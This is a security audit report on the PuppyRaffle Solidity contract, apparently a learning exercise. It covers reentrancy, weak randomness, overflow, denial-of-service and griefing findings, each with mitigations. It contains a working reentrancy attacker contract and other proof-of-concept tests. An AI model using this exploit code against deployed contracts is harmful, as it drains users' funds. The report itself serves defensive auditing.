Puppy Raffle Audit Report

Version 1.0

Luca3

January 11, 2024

Puppy Raffle Audit Report

Luca3

11th January 2024

Prepared by: Luca3 Lead Security Researcher

- Yudhishthra Sugumaran

Table of Contents

    * [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals
    * [M-3] Smart contract wallets raffle winners without a `receive` or a 'fallback' function will block the start of a new contest
- Low
- [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
- Informational/Gas
    * [G-1] Unchanged state variables should be declared constant or immutable
    * [G-2] Storage variables in a loop should be cached
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using an outdated version of Solidity is not recommended
    * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
    * [I-4]: `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
    * [I-5]: Use of "magic" numbers is discouraged
    * [I-6]: State changes are missing events
    * [I-7]: `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Luca3 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings found correspond to this commit hash:

```
Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

- Owner: Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

- Player: Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

add some notes on how the audit went, types of things found, etc. we spent X hours on the audit with Z auditors using the following tools: X, Y, Z

Issues found

SEVERITY	NUMBER OF ISSUES FOUND
High	3
Medium	3
Low	1
Info/Gas	7
Total	14

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) pattern. This allows an entrant to drain the raffle balance by calling the `PuppyRaffle::refund` function multiple times in a single transaction.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(
        playerAddress == msg.sender,
        "PuppyRaffle: Only the player can refund"
    );
    require(
        playerAddress != address(0),
        "PuppyRaffle: Player already refunded, or is not active"
    );

@>   payable(msg.sender).sendValue(entranceFee);
@>   players[playerIndex] = address(0);

    emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function. This will allow the player to drain the raffle balance by calling the `PuppyRaffle::refund` function multiple times in a single transaction.

Impact: All fees paid by raffle entrants could be stolen by an attacker.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function
3. Attacker enters the raffle
4. Attacker calls the `PuppyRaffle::refund` function in the `fallback`/`receive` function

PoC

Place the following test case in `test/PuppyRaffleTest.t.sol`

```
function test_reentrancy() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new ReentrancyAttacker(
        puppyRaffle
    );
    address attacker = makeAddr("attacker");
    vm.deal(attacker, 1 ether);

    uint256 startBalance = address(attackerContract).balance;
    uint256 contractBalance = address(puppyRaffle).balance;

    vm.prank(attacker);
    attackerContract.attack{value: entranceFee}();

    console.log("starting attacker contract balance: %s", startBalance)
        ;
    console.log("starting contract balance: %s", contractBalance);

    console.log(
        "ending attacker contract balance: %s",
        address(attackerContract).balance
    );

    console.log(
        "ending contract balance: %s",
        address(puppyRaffle).balance
    );
}
```

And this contract as well

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    fallback() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
}
```

Recommended Mitigation: To prevent this, we can follow the CEI (Checks, Effects, Interactions) pattern. We should update the `PuppyRaffle::players` array before making the external call to the `msg.sender` address.

Code Snippet

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(
        playerAddress == msg.sender,
        "PuppyRaffle: Only the player can refund"
    );
    require(
        playerAddress != address(0),
        "PuppyRaffle: Player already refunded, or is not active"
    );

+   players[playerIndex] = address(0);
+   emit RaffleRefunded(playerAddress);

    payable(msg.sender).sendValue(entranceFee);

-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
}
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` is not a good source of randomness. This is because `msg.sender` and `block.timestamp` can be influenced by the user and `block.difficulty` can be predicted by the user. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept:

1. Validators can know ahead of time the `block.difficulty` and `block.timestamp` values and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically proven random number generator like Chainlink's VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
//18446744073709551615
myVar = myVar + 1;
//myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` will not be able to collect the correct amount of fees, leading to a loss of funds.

Proof of Concept:

1. We conclude a raffle with 4 players
2. We then repeat the rounds with 4 players until an overflow is detected
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
Total fees before round 22 : 16800000000000000000
Total fees after round 22 : 17600000000000000000
Total fees before round 23 : 17600000000000000000
Total fees after round 23 : 18400000000000000000
Total fees before round 24 : 18400000000000000000
Total fees after round 24 : 753255926290448384
Overflow occurred after 24 rounds
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!
     ");
```

Although, you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much balance in the contract that the above will be impossible to hit.

PoC

Place the following test case in `test/PuppyRaffleTest.t.sol`

```
function testOverflowInTotalFees() public {
    uint64 maxUint64 = type(uint64).max;
    console.log("Starting test for overflow in totalFees");
    console.log("Max uint64 value:", maxUint64);

    // We will run the loop until an overflow is detected
    bool overflowDetected = false;
    uint256 rounds = 0;
    while (!overflowDetected) {
        address[] memory players = new address[](4);
        players[0] = address(uint160(rounds * 4 + 1));
        players[1] = address(uint160(rounds * 4 + 2));
        players[2] = address(uint160(rounds * 4 + 3));
        players[3] = address(uint160(rounds * 4 + 4));

        uint64 totalFeesBefore = puppyRaffle.totalFees();
        console.log(
            "Total fees before round",
            rounds + 1,
            ":",
            totalFeesBefore
        );
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();

        uint64 totalFeesAfter = puppyRaffle.totalFees();
        console.log(
            "Total fees after round",
            rounds + 1,
            ":",
            totalFeesAfter
        );

        // Check if overflow has occurred
        if (totalFeesAfter < totalFeesBefore) {
            overflowDetected = true;
            console.log("Overflow occurred after", rounds + 1, "rounds"
                );
        }
        rounds++;
    }

    console.log("Overflow test completed");
}
```

Recommended Mitigation: There are a few possible solutions.

1. Use a newer version of solidity, and a `uint256` instead of a `uint64` for `PuppyRaffle::`

   `totalFees`.
2. You could also use OpenZeppelin's SafeMath library for version `0.7.6` of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`.

```
- require(address(this).balance == uint256(totalFees),"PuppyRaffle:
    There are currently players active!");
```

Medium

[M-1] `PuppyRaffle::enterRaffle` function has a potential Denial of Service vulnerability causing high gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function has a for loop that iterates over all the players in the `players` array to check if the entrant is already in the list. This can cause high gas costs for future entrants if the list of entrants in the `PuppyRaffle::players` array grows large. This means the gas costs for the `PuppyRaffle::enterRaffle` function will increase linearly with the number of entrants in the `PuppyRaffle::players` array.

```
@>   for (uint256 i = 0; i < players.length - 1; i++) {
     for (uint256 j = i + 1; j < players.length; j++) {
         require(
             players[i] != players[j],
             "PuppyRaffle: Duplicate player"
         );
     }
}
```

Impact: The gas costs for raffle entrants will increase linearly with the number of entrants in the `PuppyRaffle::players` array. Discouraging future entrants from participating in the raffle and causing a rush at the start of a raffle to enter before the list of entrants grows large.

An attacker might make the `PuppyRaffle::players` array grow large by creating multiple accounts and entering the raffle with each account.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6252039 gas
- 2nd 100 players: ~18068129 gas

This is more than 3 times the gas costs for the 1st 100 players.

PoC

Place the following test case in `test/PuppyRaffleTest.t.sol`

```
function testRaffleDOS() public {
    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        // Increment the address based on the startIndex
        players[i] = address(i);
    }
    uint256 gasBefore = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    uint256 gasAfter = gasleft();

    uint256 gasUsed = (gasBefore - gasAfter);
    console.log("Gas used for first: %s", gasUsed);

    address[] memory playersTwo = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        // Increment the address based on the startIndex
        playersTwo[i] = address(i + playersNum);
    }
    uint256 gasBefore2 = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(playersTwo
        );
    uint256 gasAfter2 = gasleft();

    uint256 gasUsed2 = (gasBefore2 - gasAfter2);
    console.log("Gas used for second: %s", gasUsed2);

    assert(gasUsed < gasUsed2);
}
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check does not prevent the same person from entering multiple times. Some form of onchain KYC can be considered to prevent this to ensure behind every wallet address is a real person.
2. Consider using a mapping to store the players instead of an array. This will allow for constant time lookups and prevent the gas costs from increasing linearly with the number of players.
3. Alternatively, you could use OpenZeppelin's EnumerableSet library.

Code Snippet

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-         // Check for duplicates

*       // Check for duplicates only from the new players
*       for (uint256 i = 0; i < newPlayers.length; i++) {
*          require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
*       }

-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-        }
         emit RaffleEnter(newPlayers);
    }
  .
  .
  .
  function selectWinner() external {

*       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
```

```
            (bool success,) = feeAddress.call{value: feesToWithdraw}("");
            require(success, "PuppyRaffle: Failed to withdraw fees");
        }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
        function withdrawFees() external {
-           require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
            uint256 feesToWithdraw = totalFees;
            totalFees = 0;
            (bool success,) = feeAddress.call{value: feesToWithdraw}("");
            require(success, "PuppyRaffle: Failed to withdraw fees");
        }
```

[M-3] Smart contract wallets raffle winners without a `receive` or a 'fallback' function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times making a lottery reset very challenging.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function
2. The lottery ends
3. The `selectWinner` function would not work even though the lottery is over.

Recommended Mitigation: Few options to mitigate the issue

1. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their funds. (Pull over Push)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, it will return 0, but according to the natspec, it will also return 0 if the player is not in the `PuppyRaffle::players` array. This means a player at index 0 will incorrectly think they have not entered the raffle.

```
function getActivePlayerIndex(
    address player
) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```

Impact: A player at index 0 will incorrectly think they have not entered the raffle and attempt to enter the raffle again wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered the raffle corrently due the function documentation

Recommended Mitigation: Include a revert message if the player is not in the `PuppyRaffle::players` array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` instead of a `uint256` and return `-1` if the player is not in the `PuppyRaffle::players` array.

Informational/Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable. Consider declaring state variables constant or immutable if they are not changed after construction.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Each time that `players.length` is accessed , the EVM will read from storage. Consider caching the value in a local variable to read from memory to avoid this extra cost.

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-     for (uint256 j = i + 1; j < players.length; j++) {
+   for (uint256 j = i + 1; j < playersLength; j++) {
          require(
              players[i] != players[j],
              "PuppyRaffle: Duplicate player"
          );
      }
}
```

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdated version of Solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

Deploy with any of the following Solidity versions:

```
`0.8.18`
```

The recommendations take into account:

```
Risks related to recent releases
Risks of complex code generation changes
Risks of new language features
Risks of known bugs
```

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Refer to slither documentation for more context: (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity)

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 189

  ```
          previousWinner = winner;
  ```

- Found in src/PuppyRaffle.sol Line: 213

  ```
          feeAddress = newFeeAddress;
  ```

[I-4]: `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions) pattern.

```
- (bool success, ) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

```
_safeMint(winner, tokenId);
+ (bool success, ) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5]: Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and its much more readable if the numbers are given a name

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6]: State changes are missing events

[I-7]: `PuppyRaffle::_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```